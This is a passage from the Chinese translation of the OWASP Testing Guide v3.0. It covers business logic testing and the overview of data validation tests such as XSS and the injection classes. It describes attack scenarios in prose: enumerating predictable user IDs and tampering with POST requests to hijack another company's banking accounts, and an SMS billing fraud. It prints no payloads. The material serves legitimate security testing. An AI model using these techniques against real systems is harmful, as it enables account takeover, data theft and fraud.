

OWASP 测 试 指 南 v3.0<br />

仔 细 考 虑 应 用 程 序 提 供 业 务 功 能 的 规 则 。 是 否 对 人 们 的 行 为 存 在 任 何 限 定 或 限 制 呢 ? 考 虑 是 否 应 用 程 序 强 制 执 行 这<br />

些 规 则 。 如 果 你 熟 悉 业 务 , 那 幺 你 通 常 可 以 很 容 易 识 别 测 试 和 分 析 情 况 以 便 验 证 应 用 程 序 。 如 果 你 是 一 个 第 三 方 测<br />

试 者 , 那 幺 你 将 不 得 不 使 用 常 识 判 定 并 且 询 问 业 务 者 哪 些 操 作 应 被 应 用 程 序 允 许 。 有 时 , 在 非 常 复 杂 的 应 用 程 序<br />

中 , 你 一 开 始 不 能 充 分 了 解 应 用 程 序 的 每 一 个 方 面 。 在 这 种 情 况 下 , 你 最 好 让 客 户 示 范 一 下 应 用 程 序 , 这 样 您 就 可<br />

以 在 真 正 测 试 开 始 之 前 更 好 地 了 解 应 用 程 序 的 局 限 性 和 目 标 功 能 。 此 外 , 如 果 对 应 用 功 能 还 存 在 疑 问 ,( 如 果 可 能<br />

的 话 ) 直 接 向 开 发 者 咨 询 相 关 情 况 , 这 样 对 测 试 结 果 大 有 帮 助 。<br />

例 1:<br />

在 电 子 商 务 网 站 将 产 品 的 数 量 设 置 成 负 数 , 这 样 可 以 导 致 现 金 记 入 攻 击 者 名 下 。 因 为 应 用 程 序 允 许 在 购 物 车 数 量 字<br />

段 中 输 入 负 数 , 这 一 问 题 的 对 策 是 执 行 更 有 力 的 数 据 验 证 。<br />

例 2:<br />

另 一 种 更 为 复 杂 的 例 子 涉 及 到 大 型 机 构 为 商 业 客 户 所 使 用 的 商 业 金 融 应 用 。 此 应 用 程 序 为 企 业 用 户 提 供 了 银 行 的<br />

ACH ( 自 动 清 算 机 ) 电 子 资 金 转 帐 和 支 付 服 务 。 最 初 , 当 一 个 企 业 购 买 这 项 服 务 时 , 他 们 为 该 公 司 提 供 了 两 个 行 政<br />

级 别 的 公 司 账 户 。 这 两 个 账 户 可 以 创 建 不 同 权 限 级 别 的 用 户 , 如 一 个 用 户 可 以 进 行 转 帐 , 另 一 种 ( 例 如 , 经 理 ) 可<br />

以 批 准 指 定 金 额 的 转 帐 等 等 。 当 管 理 员 创 建 一 个 用 户 时 , 就 会 自 动 产 生 与 这 个 用 户 相 关 联 的 用 户 名 。 而 创 建 的 用 户<br />

名 是 可 以 预 见 的 。 例 如 , 如 果 管 理 员 为 一 个 虚 构 的 客 户 "Spacely Sprockets” 连 续 创 造 了 两 个 帐 户 , 那 幺 它 们 的 名 字 将<br />

会 是 115 和 116 。 更 糟 糕 的 是 , 如 果 创 建 另 外 两 个 帐 户 而 他 们 的 用 户 名 是 117 和 119 , 那 幺 可 以 假 定 另 一 个 公 司 的<br />

管 理 员 创 建 了 一 个 用 户 名 为 118 的 用 户 帐 户 。<br />

这 里 存 在 的 业 务 逻 辑 错 误 的 是 , 开 发 者 假 设 没 有 人 会 在 创 建 账 户 时 看 到 或 尝 试 操 纵 与 用 户 有 关 的 用 户 名 ( 因 为 它 是<br />

通 过 POST 请 求 传 输 的 ) 。 更 糟 糕 的 是 , 这 个 参 数 是 可 以 预 见 的 ( 线 性 序 列 号 码 从 0 开 始 递 增 1 ), 这 就 可 以 在 应<br />

用 程 序 内 列 举 所 有 用 户 名 。<br />

了 解 了 应 用 程 序 如 何 作 用 并 了 解 开 发 者 的 错 误 假 设 后 , 我 们 就 可 能 破 坏 应 用 程 序 的 逻 辑 。 既 然 另 一 家 公 司 的 用 户 账<br />

户 可 以 被 列 举 出 来 ( 例 如 上 面 的 118 用 户 名 ), 那 幺 我 们 可 以 创 造 另 外 一 个 我 们 自 己 的 用 户 账 户 。 这 个 账 号 只 有 内<br />

部 转 账 和 更 新 用 户 参 数 的 特 权 。 这 个 新 用 户 创 建 后 , 其 用 户 名 为 120 。 如 果 我 们 登 录 这 个 新 创 建 的 帐 户 , 我 们 只 能<br />

更 新 我 们 自 身 的 用 户 参 数 并 进 行 内 部 限 额 转 账 。 如 果 我 们 修 改 用 户 的 基 本 信 息 , 就 会 把 用 户 名 和 相 关 修 改 过 的 参 数<br />

提 交 给 应 用 程 序 。 如 果 在 拦 截 代 理 中 设 置 陷 阱 请 求 , 并 将 用 户 名 改 成 118( 记 住 用 户 名 118 是 在 列 举 账 户 时 发 现<br />

的 。 而 它 属 于 另 外 一 个 公 司 ), 那 幺 118 用 户 将 有 效 地 从 其 它 公 司 删 除 并 加 入 到 我 们 的 公 司 。 这 样 做 会 产 生 两 种 影<br />

响 : 第 一 : 由 于 118 用 户 不 能 进 入 这 个 账 号 , 会 导 致 拒 绝 对 这 个 客 户 提 供 服 务 ( 因 为 它 目 前 已 经 关 联 到 我 们 的 公<br />

司 )。 第 二 , 由 于 该 账 号 已 经 属 于 我 们 公 司 , 我 们 现 在 可 以 看 到 该 用 户 的 运 行 报 告 和 每 一 笔 交 易 ( 包 括 汇 款 金 额 、<br />

银 行 帐 户 号 码 、 路 由 号 码 、 余 额 等 )。 应 用 程 序 逻 辑 收 到 授 权 过 的 用 户 请 求 ( 通 过 一 个 有 效 的 会 议 令 牌 ) , 但 没 有<br />

相 互 参 照 这 一 有 效 凭 证 以 查 看 该 用 户 是 否 真 正 属 于 这 家 公 司 。 因 为 它 没 有 交 叉 检 查 请 求 中 提 交 的 用 户 名 是 否 属 于 目<br />

前 登 入 的 用 户 的 公 司 , 所 以 它 将 用 户 名 关 联 到 当 前 授 权 用 户 的 公 司 。<br />

现 在 我 们 进 一 步 假 设 一 个 新 客 户 有 两 个 管 理 员 帐 户 , 用 户 名 从 113 开 始 , 而 114 是 我 们 公 司 当 前 的 用 户 名 。 如 果 我<br />

们 使 用 fuzzer 自 动 采 取 上 面 的 攻 击 ( 即 使 用 不 同 用 户 名 发 送 验 证 请 求 ), 利 用 同 样 的 请 求 但 是 用 户 名 从 0 递 增 到<br />

112, 这 样 会 发 生 什 幺 情 况 呢 ? 如 果 成 功 完 成 这 一 步 , 那 幺 我 们 的 公 司 现 在 拥 有 113 个 新 的 帐 户 , 其 中 可 能 包 含 管<br />

187


理 帐 户 、 不 同 权 限 的 用 户 帐 户 , 等 等 。 我 们 现 在 可 以 运 行 许 多 报 告 , 获 得 银 行 账 号 、( 个 人 和 其 它 公 司 的 ) 路 由 号<br />

码 、 个 人 信 息 等 。 不 幸 的 是 , 一 旦 帐 户 从 原 来 的 公 司 删 除 并 加 入 我 们 公 司 , 我 们 就 失 去 了 使 用 这 个 账 号 的 转 账 的 特<br />

权 。 无 论 如 何 , 造 成 的 损 害 是 , 由 于 这 个 账 号 已 经 属 于 我 们 公 司 , 没 有 其 它 公 司 可 以 使 用 这 个 账 号 访 问 银 行 应 用 程<br />

序 。 实 际 上 , 这 是 对 其 它 所 有 公 司 的 一 次 完 全 DoS 攻 击 , 我 们 现 在 可 以 通 过 运 行 报 告 从 这 些 帐 户 收 获 大 量 的 敏 感 信<br />

息 ( 例 如 , 以 往 的 交 易 纪 录 )。<br />

正 如 你 所 看 到 的 , 业 务 逻 辑 中 安 全 漏 洞 是 由 于 开 发 者 作 出 的 假 设 以 及 如 何 应 对 收 到 不 合 法 的 输 入 数 据 , 及 应 用 程 序<br />

所 做 出 的 反 应 。 首 先 , 开 发 者 假 设 POST 请 求 中 的 主 体 传 输 的 所 有 的 数 据 ( 特 别 是 用 户 名 ) 是 有 效 的 , 因 此 他 们 在<br />

处 理 数 据 之 前 并 没 有 在 服 务 器 端 验 证 这 些 数 据 。 其 次 , 该 应 用 程 序 没 有 确 认 那 些 属 于 一 个 公 司 的 用 户 的 身 份 验 证 / 授<br />

权 会 话 令 牌 ( 这 种 情 况 下 是 指 cookie) 实 际 上 是 否 对 同 一 个 公 司 是 有 效 的 用 户 ID。 因 此 , 该 应 用 逻 辑 是 完 全 存 在 漏<br />

洞 的 : 一 旦 用 户 使 用 当 前 用 户 会 话 令 牌 和 另 外 一 个 ( 属 于 不 同 公 司 的 ) 用 户 ID 更 新 个 人 资 料 , 该 应 用 程 序 就 会 从 受<br />

害 公 司 中 删 除 该 用 户 ID 并 将 其 转 移 至 当 前 用 户 的 公 司 。<br />

这 案 例 显 示 了 解 了 应 用 程 序 的 功 能 、 开 发 者 意 图 、 以 及 一 些 创 造 性 思 维 后 如 何 打 破 应 用 程 序 逻 辑 并 获 得 巨 额 利 益 。<br />

值 得 庆 幸 的 是 , 我 们 是 进 行 道 德 渗 透 测 试 , 在 恶 意 用 户 试 图 利 用 这 个 漏 洞 前 会 通 知 客 户 漏 洞 的 存 在 并 修 补 好 。<br />

黑 盒 测 试 实 例<br />

虽 然 揭 露 逻 辑 漏 洞 可 能 永 远 是 一 门 艺 术 , 但 是 我 们 可 以 尝 试 对 它 进 行 系 统 性 的 了 解 。 以 下 是 建 议 的 做 法 :<br />

• 了 解 应 用 程 序<br />

• 创 建 逻 辑 测 试 需 要 的 原 始 数 据<br />

• 设 计 逻 辑 测 试<br />

• 标 准 的 先 决 条 件<br />

• 执 行 逻 辑 测 试<br />

了 解 应 用 程 序<br />

深 入 理 解 应 用 程 序 是 设 计 逻 辑 测 试 的 前 提 条 件 。 从 以 下 几 点 开 始 :<br />

• 获 取 任 何 描 述 了 应 用 程 序 功 能 的 文 件 。 例 如 :<br />

o<br />

o<br />

o<br />

o<br />

应 用 手 册<br />

需 求 文 件<br />

功 能 规 格<br />

使 用 或 滥 用 个 案<br />

• 人 工 探 索 应 用 程 序 并 了 解 使 用 应 用 程 序 的 所 有 不 同 方 式 、 对 各 种 用 户 的 允 许 使 用 情 景 和 授 权 限 制<br />

188


OWASP 测 试 指 南 v3.0<br />

创 建 逻 辑 测 试 的 原 始 数 据<br />

在 这 一 阶 段 , 最 好 能 获 取 下 列 资 料 :<br />

• 所 有 应 用 程 序 业 务 情 景 。 例 如 在 电 子 商 务 应 用 程 序 中 :<br />

o<br />

o<br />

o<br />

o<br />

产 品 订 购<br />

结 帐<br />

浏 览<br />

搜 索 产 品<br />

• 工 作 流 程 。 由 于 涉 及 到 许 多 不 同 用 户 , 它 和 业 务 情 景 存 在 许 多 不 同 。 例 如 :<br />

o<br />

命 令 创 建 和 批 准<br />

o 公 告 板 ( 用 户 发 布 的 文 章 经 过 管 理 员 审 核 后 最 终 让 所 有 用 户 阅 读 )<br />

• 不 同 的 用 户 角 色<br />

o<br />

o<br />

o<br />

o<br />

管 理 员<br />

经 理<br />

工 作 人 员<br />

CEO<br />

• 不 同 的 团 体 或 部 门 ( 请 注 意 , 有 可 能 是 一 个 树 形 图 ( 如 重 型 工 程 科 的 Sales 组 ) 或 标 签 试 图 ( 例 如 , 有 人 可<br />

能 同 时 属 于 销 售 部 以 及 市 场 部 )。<br />

o<br />

o<br />

o<br />

采 购<br />

营 销<br />

工 程<br />

• 各 角 色 和 团 体 的 访 问 权 限 - 该 应 用 程 序 允 许 不 同 用 户 对 一 些 资 源 ( 或 资 产 ) 拥 有 不 同 的 权 限 。 我 们 需 要 了 解<br />

这 些 特 权 的 限 制 条 件 。 有 效 地 利 用 应 用 程 序 文 件 就 是 知 道 这 些 业 务 规 则 / 限 制 条 件 的 简 单 方 法 。 例 如 , 寻 找<br />

相 关 条 款 , 如 “ 如 果 管 理 员 允 许 个 别 用 户 访 问 ……” , “ 如 果 管 理 员 配 置 ……” 这 样 你 就 知 道 应 用 程 序 所<br />

实 施 的 限 制 条 件 。<br />

• 权 限 表 - 在 了 解 关 于 各 种 资 源 的 特 权 与 限 制 后 , 您 可 以 创 造 一 个 特 权 表 并 得 到 以 下 答 案 :<br />

o 每 个 用 户 在 各 种 资 源 上 能 做 什 幺 , 有 什 幺 样 的 限 制 ? 这 将 帮 助 您 在 推 断 哪 些 人 不 能 使 用 哪 些 资 源 。<br />

189


o 什 幺 是 整 个 群 的 政 策 ?<br />

查 看 以 下 特 权 : “ 批 准 开 支 报 告 ”, “ 预 订 会 议 室 ”, “ 将 资 金 从 自 己 的 帐 户 转 移 到 另 一 个 用 户 帐 户 。” 一 个 特<br />

权 可 以 看 做 是 一 个 动 词 ( 例 如 , 批 准 、 预 定 、 撤 销 ) 和 一 个 或 多 个 名 词 ( 支 出 的 报 告 、 会 议 室 、 帐 户 ) 的 组 合 。 其<br />

结 果 是 一 个 表 格 , 其 左 栏 是 各 种 特 权 , 其 它 栏 是 哪 个 用 户 角 色 和 群 体 拥 有 该 特 权 。 有 时 这 个 表 格 中 还 包 含 “ 评 论 ”<br />

作 其 它 描 述 。<br />

特 权 谁 能 做 到 评 论<br />

批 准 开 支 报 告<br />

任 何 主 管 可 批 准 其 下 属 所 提 交 的 报 告<br />

提 交 费 用 报 告<br />

任 何 雇 员 可 提 交 自 己 的 报 告<br />

转 账<br />

账 户 持 有 人 可 将 资 金 从 自 己 账 户 转 移 到 另 一 个 帐 户<br />

查 看 工 资<br />

任 何 雇 员 可 以 查 看 自 己 的 工 资 情 况<br />

这 些 是 设 计 逻 辑 测 试 的 关 键 数 据 。<br />

开 发 逻 辑 测 试<br />

以 下 是 使 用 收 集 到 的 原 始 数 据 设 计 逻 辑 测 试 的 一 些 指 导 方 针 。<br />

• 权 限 表 —— 在 创 建 应 用 程 序 特 定 逻 辑 威 胁 时 参 考 权 限 表 。 通 常 测 试 每 一 个 管 理 特 权 , 检 测 是 否 可 由 拥 有 最<br />

小 特 权 或 无 特 权 的 非 法 用 户 执 行 管 理 员 权 限 。 例 如 :<br />

o<br />

o<br />

权 限 : 业 务 经 理 不 能 批 准 客 户 订 单<br />

逻 辑 测 试 : 业 务 经 理 批 准 客 户 订 单<br />

• 特 殊 用 户 操 作 顺 序 处 理 不 当 - 以 某 种 方 式 浏 览 应 用 程 序 或 以 非 预 期 的 顺 序 重 新 访 问 页 面 可 能 产 生 的 逻 辑 错<br />

误 , 导 致 应 用 程 序 执 行 其 它 操 作 。 例 如 :<br />

o<br />

在 一 个 向 导 应 用 程 序 中 , 用 户 填 完 表 格 后 进 行 下 一 个 步 骤 。( 开 发 者 指 出 ) 任 何 人 都 不 能 以 任 何<br />

方 式 直 接 进 入 该 向 导 的 中 间 步 骤 。 那 就 要 将 中 间 步 骤 的 页 面 加 入 书 签 ( 例 如 , 将 7 个 步 骤 当 中 的 第<br />

4 步 加 入 书 签 ), 然 后 继 续 完 成 其 它 步 骤 直 到 提 交 表 单 。 由 于 存 在 弱 状 态 模 式 , 重 新 访 问 书 签 中 的<br />

中 间 步 骤 可 能 会 破 坏 后 端 逻 辑 。<br />

• 覆 盖 所 有 商 业 交 易 路 径 —— 当 设 计 测 试 时 , 需 要 查 看 所 有 方 法 以 完 成 同 样 的 业 务 交 易 。 例 如 , 测 试 现 金 或<br />

信 用 卡 付 款 方 式 。<br />

190


OWASP 测 试 指 南 v3.0<br />

• 客 户 端 验 证 —— 查 看 所 有 客 户 端 验 证 是 设 计 逻 辑 测 试 的 基 础 。 例 如 , 资 金 转 帐 交 易 在 数 量 字 段 验 证 中 出 现<br />

负 值 。 可 以 用 这 些 信 息 设 计 逻 辑 测 试 , 如 “ 用 户 转 账 金 额 为 负 值 ”。<br />

标 准 的 先 决 条 件<br />

通 常 , 有 效 的 准 备 活 动 包 括 :<br />

• 创 建 不 同 权 限 的 测 试 用 户<br />

• 浏 览 应 用 程 序 中 所 有 重 要 的 业 务 情 景 / 工 作 流 程<br />

逻 辑 测 试 执 行<br />

每 个 逻 辑 测 试 需 要 做 到 以 下 几 点 :<br />

• 基 于 和 逻 辑 测 试 有 关 的 可 接 受 的 使 用 情 形 对 HTTP / HTTPS 请 求 进 行 分 析<br />

o<br />

o<br />

检 查 HTTP/S 请 求 的 顺 序<br />

理 解 所 传 递 的 隐 藏 字 段 、 表 单 字 段 、 查 询 字 符 串 参 数 的 目 的<br />

• 利 用 已 知 漏 洞 尝 试 颠 覆 逻 辑 测 试<br />

• 确 认 该 测 试 中 应 用 程 序 失 败<br />

真 实 案 例<br />

为 了 让 读 者 更 好 地 了 解 这 个 问 题 以 及 如 何 对 其 进 行 测 试 , 我 们 介 绍 另 外 一 个 发 生 在 2006 年 的 真 实 案 例 。 这 个 案 例<br />

是 由 本 指 南 的 一 个 作 者 在 2006 年 进 行 调 查 取 证 的 。 当 时 , 移 动 电 信 运 营 商 ( 假 定 为 FlawedPhone.com) 对 其 客 户 发<br />

布 了 一 个 网 络 邮 件 + 短 信 服 务 (webmail+SMS), 包 含 有 以 下 特 点 :<br />

• 新 客 户 购 买 一 个 SIM 卡 即 可 开 通 域 名 为 flawedphone.com 的 免 费 永 久 性 电 子 邮 件 帐 户<br />

• 即 使 客 户 将 ”SIM 卡 “ 转 让 到 另 一 个 电 信 运 营 商 , 该 电 子 邮 件 账 户 仍 然 存 在 。<br />

• 但 是 , 只 要 SIM 卡 注 册 了 FlawedPhone , 每 次 收 到 电 子 邮 件 时 用 户 都 会 收 到 包 含 发 送 人 和 邮 件 主 题 的 短 信<br />

• SMS 应 用 程 序 会 根 据 其 FlawedPhone 客 户 名 单 副 本 检 查 目 标 电 话 号 码 是 否 是 合 法 用 户 。 该 客 户 名 单 每 8 小<br />

时 自 动 更 新 一 次 。<br />

该 应 用 是 根 据 最 佳 安 全 做 法 开 发 的 , 但 它 存 在 业 务 逻 辑 漏 洞 。 因 此 FlawedPhone 很 快 成 为 欺 诈 攻 击 的 目 标 :<br />

• 攻 击 者 买 了 一 张 FlawedPhone 的 新 的 SIM 卡<br />

• 攻 击 者 立 即 要 求 将 SIM 卡 转 移 到 另 一 个 移 动 运 营 商 , 但 在 FlawedPhone 每 次 收 到 短 信 就 会 获 得 0.05 €<br />

191


• 一 旦 SIM 卡 被 “ 转 移 ” 到 新 的 运 营 商 , 恶 意 用 户 开 始 发 送 数 以 百 计 的 电 子 邮 件 到 FlawedPhone 的 电 子 邮 件<br />

帐 户<br />

• 在 email+SMS 应 用 程 序 更 新 其 客 户 名 单 并 组 织 信 息 传 递 前 , 恶 意 用 户 最 多 有 8 小 时 的 窗 口 时 间 。<br />

• 到 那 个 时 候 , 恶 意 用 户 已 经 获 得 累 计 〜 50-100 €, 并 开 始 在 eBay 上 出 售<br />

开 发 者 认 为 , 在 8 小 时 期 间 传 递 的 短 信 会 产 生 微 不 足 道 的 成 本 。 但 他 们 没 有 考 虑 到 上 述 自 动 攻 击 的 可 能 性 。 正 如 我<br />

们 所 见 , 使 用 客 户 名 单 同 步 时 间 并 缺 乏 对 指 定 时 间 内 传 递 邮 件 的 数 量 限 制 , 导 致 了 系 统 的 严 重 漏 洞 , 并 很 快 被 恶 意<br />

用 户 所 利 用 。<br />

参 考<br />

白 皮 书<br />

• Business logic - http://en.wikipedia.org/wiki/Business_logic<br />

• Prevent application logic attacks with sound app security practices -<br />

http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&topic=302570<br />

工 具<br />

• 自 动 工 具 是 不 能 够 侦 测 出 业 务 逻 辑 漏 洞 的 。 例 如 , 工 具 无 法 知 道 转 账 负 值 金 额 是 不 是 合 法 的 , 所 以 就 没 有 办 法 帮 助 测 试<br />

者 测 试 有 关 问 题 的 存 在 。<br />

防 止 转 账 负 值 金 额 : 工 具 可 能 被 改 良 成 能 够 报 告 客 户 端 的 数 据 验 证 结 果 给 测 试 者 。 例 如 , 这 个 工 具 可 以 将 一 些 很 奇<br />

怪 的 值 填 进 窗 体 中 的 字 段 , 然 后 尝 试 以 浏 览 器 提 交 请 求 。 然 后 判 定 浏 览 器 有 没 有 真 的 提 交 该 请 求 。 如 果 浏 览 器 没 有<br />

提 交 请 求 , 那 幺 该 工 具 就 可 以 认 为 刚 填 的 奇 怪 的 值 不 能 通 过 客 户 端 的 数 据 验 证 。 测 试 者 就 可 以 从 中 得 悉 什 幺 情 景 可<br />

以 绕 过 客 户 端 的 数 据 验 证 。 例 如 , 在 刚 才 的 负 值 转 账 例 子 中 , 测 试 者 就 可 以 知 道 转 账 负 值 金 额 可 能 是 一 个 值 得 考 虑<br />

的 测 试 。 对 每 一 个 可 以 绕 过 客 户 端 的 数 据 验 证 的 情 景 , 他 都 可 以 设 计 一 个 测 试 来 检 测 应 用 的 响 应 。 这 不 是 说 该 工 具<br />

需 要 侦 测 出 任 何 业 务 逻 辑 的 漏 洞 , 而 是 协 助 测 试 者 ( 在 经 过 适 当 思 考 后 ) 去 找 寻 这 种 逻 辑 的 漏 洞 。<br />

4.8 数 据 验 证 测 试<br />

web 应 用 最 常 见 的 安 全 漏 洞 在 于 不 能 在 使 用 前 正 确 验 证 来 自 客 户 端 或 外 界 的 数 据 。 这 一 弱 点 几 乎 导 致 了 所 有 Web 应<br />

用 程 序 的 主 要 漏 洞 , 如 : 跨 站 脚 本 攻 击 、 SQL 注 入 攻 击 , 解 释 器 注 入 攻 击 、locale /Unicode 攻 击 、 文 件 系 统 攻 击 和<br />

缓 冲 区 溢 出 。<br />

绝 不 应 该 相 信 来 自 外 部 实 体 或 客 户 端 的 数 据 , 因 为 攻 击 者 可 以 任 意 篡 改 这 些 数 据 。 Michael Howard 在 他 的 著 作<br />

“Writing Secure Code ” 中 说 “ 所 有 输 入 是 恶 ”。 这 是 第 一 条 准 则 。 然 而 , 复 杂 的 应 用 往 往 有 大 量 的 输 入 点 , 因 而 开<br />

发 人 员 难 以 强 制 执 行 这 一 规 则 。<br />

在 本 章 中 , 我 们 讲 述 数 据 验 证 测 试 。 测 试 所 有 可 能 的 输 入 形 式 , 以 便 了 解 应 用 程 序 是 否 在 使 用 前 充 分 验 证 输 入 数<br />

据 。<br />

192


OWASP 测 试 指 南 v3.0<br />

我 们 将 数 据 验 证 测 试 划 分 为 以 下 类 别 :<br />

跨 站 点 脚 本 的 测 试<br />

在 跨 站 脚 本 攻 击 ( XSS ) 的 测 试 中 , 我 们 测 试 能 否 操 纵 应 用 程 序 参 数 输 入 , 使 之 产 生 恶 意 输 出 。 当 应 用 程 序 没 有<br />

验 证 输 入 数 据 并 在 我 们 控 制 下 产 生 输 出 时 , 我 们 就 能 发 现 XSS 漏 洞 。 此 漏 洞 会 产 生 各 种 攻 击 。 例 如 , 窃 取 机 密 信 息<br />

( 如 会 话 cookie ) 或 控 制 受 害 者 的 浏 览 器 。 一 个 跨 站 脚 本 攻 击 方 式 如 下 :Input -> Output == cross-site scripting。<br />

在 本 指 南 中 , 下 面 详 细 讨 论 了 跨 站 脚 本 测 试 类 型<br />

4.8.1 跨 站 脚 本 反 射 测 试 (OWASP-DV-001)<br />

4.8.2 跨 站 脚 本 存 储 测 试 (OWASP-DV-002)<br />

4.8.3 跨 站 脚 本 DOM 测 试 (OWASP-DV-003)<br />

4.8.4 FLASH 跨 站 测 试 (OWASP-DV004)<br />

4.8.5 SQL 注 入 (OWASP-DV-005)<br />

SQL 注 入 测 试 检 测 是 否 有 可 能 将 数 据 注 入 到 应 用 程 序 中 , 以 便 它 能 在 后 端 数 据 库 中 执 行 用 户 控 制 的 SQL 查 询 。 如 果<br />

应 用 程 序 在 没 有 恰 当 验 证 数 据 的 情 况 下 使 用 用 户 输 入 创 建 SQL 查 询 , 那 幺 说 明 该 应 用 程 序 存 在 SQL 注 入 漏 洞 。 成 功<br />

利 用 这 一 类 别 的 漏 洞 会 导 致 未 授 权 用 户 访 问 或 操 作 数 据 库 中 的 数 据 。 请 注 意 , 应 用 数 据 往 往 代 表 了 公 司 的 核 心 资<br />

产 。SQL 注 入 攻 击 方 式 如 下 :Input -> Query SQL == SQL injection<br />

SQL 注 入 测 试 进 一 步 细 分 为 :<br />

4.8.5.1 Oracle 测 试<br />

4.8.5.2 MySQL 测 试<br />

4.8.5.3 SQL Server 测 试<br />

4.8.5.4 MS ACCESS 测 试<br />

4.8.5.5 PostgreSQL 测 试<br />

4.8.6 LDAP 注 入 (OWASP-DV-006)<br />

LDAP 注 入 测 试 类 似 于 SQL 注 入 测 试 。 不 同 之 处 在 于 我 们 不 是 使 用 SQL 而 是 使 用 LDAP 协 议 , 同 时 测 试 的 目 标 是<br />

LDAP 服 务 器 , 而 不 是 SQL 服 务 器 。LDAP 注 入 攻 击 方 式 如 下 :Input -> Query LDAP == LDAP injection<br />

4.8.7 ORM 注 入 (OWASP-DV-007)<br />

193


ORM 注 入 测 试 同 样 类 似 于 SQL 注 入 测 试 。 在 这 种 情 况 下 , 我 们 使 用 SQL 注 入 攻 击 ORM 产 生 的 数 据 访 问 对 象 模 型 。<br />

从 测 试 的 角 度 来 看 , 这 种 攻 击 几 乎 和 SQL 注 入 攻 击 相 同 。 然 而 , 代 码 中 存 在 的 注 入 漏 洞 是 由 ORM 工 具 产 生 的 。<br />

4.8.8 XML 注 入 (OWASP-DV-008)<br />

XML 注 入 测 试 检 测 是 否 有 可 能 在 应 用 程 序 中 注 入 特 定 的 XML 文 档 。 如 果 XML 解 析 器 没 有 验 证 任 何 数 据 , 那 幺 该 应 用<br />

程 序 存 在 XML 注 入 漏 洞 。 一 个 XML 注 入 攻 击 方 式 如 下 :<br />

Input -> XML doc == XML injection<br />

4.8.9 SSI 注 入 (OWASP-DV-009)<br />

Web 服 务 器 通 常 让 开 发 者 在 静 态 HTML 网 页 中 增 加 小 型 动 态 代 码 , 而 不 必 处 理 全 面 的 服 务 器 端 或 客 户 端 语 言 。 服 务<br />

器 端 嵌 入 ( SSI ) 注 入 能 够 体 现 这 一 特 色 。SSL 注 入 测 试 检 测 是 否 有 可 能 在 应 用 程 序 中 注 入 SSI 机 制 解 释 的 数 据 。 黑<br />

客 成 功 利 用 此 漏 洞 后 能 够 将 代 码 注 入 到 HTML 网 页 , 甚 至 远 程 执 行 代 码 。<br />

4.8.10 XPath 注 入 (OWASP-DV-010)<br />

XPath 是 针 对 部 分 XML 文 件 而 设 计 和 开 发 的 语 言 。XPath 注 入 测 试 检 测 是 否 有 可 能 在 应 用 程 序 中 注 入 数 据 , 以 便 执<br />

行 用 户 控 制 的 XPath 查 询 。 攻 击 者 成 功 利 用 这 个 安 全 漏 洞 就 能 够 绕 过 认 证 机 制 或 未 经 授 权 获 取 信 息 。<br />

4.8.11 IMAP/SMTP 注 入 (OWASP-DV-011)<br />

这 种 威 胁 影 响 到 所 有 与 邮 件 服 务 器 (IMAP /SMTP ) 连 接 的 应 用 程 序 , 通 常 是 Webmail 应 用 程 序 。 由 于 输 入 没 有 得<br />

到 验 证 ,IMAP /SMTP 注 入 测 试 检 测 是 否 有 可 能 在 邮 件 服 务 器 中 注 入 任 意 的 IMAP / SMTP 命 令 。 一 个 IMAP /SMTP 注<br />

入 攻 击 方 式 如 下 :<br />

Input -> IMAP/SMTP command == IMAP/SMTP Injection<br />

4.8.12 Code 注 入 (OWASP-DV-012)<br />

代 码 注 入 测 试 检 测 是 否 有 可 能 在 应 用 程 序 中 注 入 稍 后 由 web 服 务 器 执 行 的 代 码 。<br />

代 码 注 入 攻 击 的 方 式 如 下 :<br />

Input -> malicious Code == Code Injection<br />

4.8.13 OS 命 令 (OWASP-DV-013)<br />

在 命 令 注 入 测 试 中 , 我 们 设 法 通 过 HTTP 请 求 在 应 用 程 序 中 注 入 OS 命 令 。<br />

操 作 系 统 命 令 注 入 攻 击 方 式 如 下 :<br />

Input -> OS Command == OS Command Injection<br />

194


OWASP 测 试 指 南 v3.0<br />

4.8.14 缓 冲 区 溢 出 (OWASP-DV-014)<br />

在 这 些 测 试 中 , 我 们 检 查 不 同 类 型 的 缓 冲 区 溢 出 漏 洞 。 以 下 是 常 见 的 缓 冲 区 溢 出 漏 洞 的 测 试 方 法 :<br />

4.8.14.1 堆 溢 出<br />

4.8.14.2 栈 溢 出<br />

4.8.14.3 字 符 串 格 式<br />

一 般 缓 冲 区 溢 出 攻 击 方 式 如 下 :<br />

Input -> Fixed buffer or format string == overflow<br />

4.8.15 孵 育 漏 洞 测 试 (OWASP-DV-015)<br />

孵 育 测 试 是 需 要 多 个 数 据 验 证 漏 洞 工 作 的 复 杂 的 测 试 , 需 要 一 个 以 上 的 数 据 验 证 漏 洞 工 作 。<br />

在 每 一 个 显 示 的 模 式 中 , 应 用 程 序 应 该 在 信 任 和 处 理 这 些 数 据 前 对 数 据 进 行 验 证 。 我 们 的 测 试 目 的 是 验 证 应 用 程 序<br />

实 际 上 是 否 执 行 了 验 证 并 且 不 信 任 其 输 入 数 据 。<br />

4.8.15 HTTP -Splitting/Smuggling 测 试 (OWASP-DV-016)<br />

. 讲 述 如 何 测 试 一 个 HTTP 开 发 , 例 如 : HTTP Verb, HTTP Splitting, HTTP Smuggling。<br />

4.8.1 反 射 式 跨 站 脚 本 测 试 (OWASP-DV-001)<br />

概 述<br />

反 射 式 跨 站 脚 本 攻 击 (XSS) 是 非 持 久 性 跨 站 脚 本 攻 击 的 另 一 个 名 称 。 该 攻 击 不 会 使 用 存 在 漏 洞 的 Web 应 用 程 序 加<br />

载 , 却 使 用 受 害 者 载 入 的 违 规 的 URI 。 本 文 将 介 绍 在 web 应 用 程 序 中 测 试 该 漏 洞 的 方 法 。<br />

问 题 描 述<br />

反 射 式 跨 站 脚 本 攻 击 也 被 称 为 1 型 或 非 持 续 跨 站 脚 本 攻 击 。 它 是 最 常 见 跨 站 脚 本 攻 击 类 型 。<br />

当 Web 应 用 程 序 存 在 易 受 到 这 种 攻 击 的 漏 洞 时 , 它 会 将 未 经 验 证 的 数 据 通 过 请 求 发 送 给 客 户 端 。 常 见 的 攻 击 手 法<br />

包 括 一 个 攻 击 者 创 建 并 测 试 恶 意 URI 的 设 计 步 骤 、 确 信 受 害 者 在 浏 览 器 中 加 载 了 该 URI 的 社 交 工 程 步 骤 、 和 使 用 受<br />

害 人 的 凭 据 最 终 执 行 恶 意 代 码 。<br />

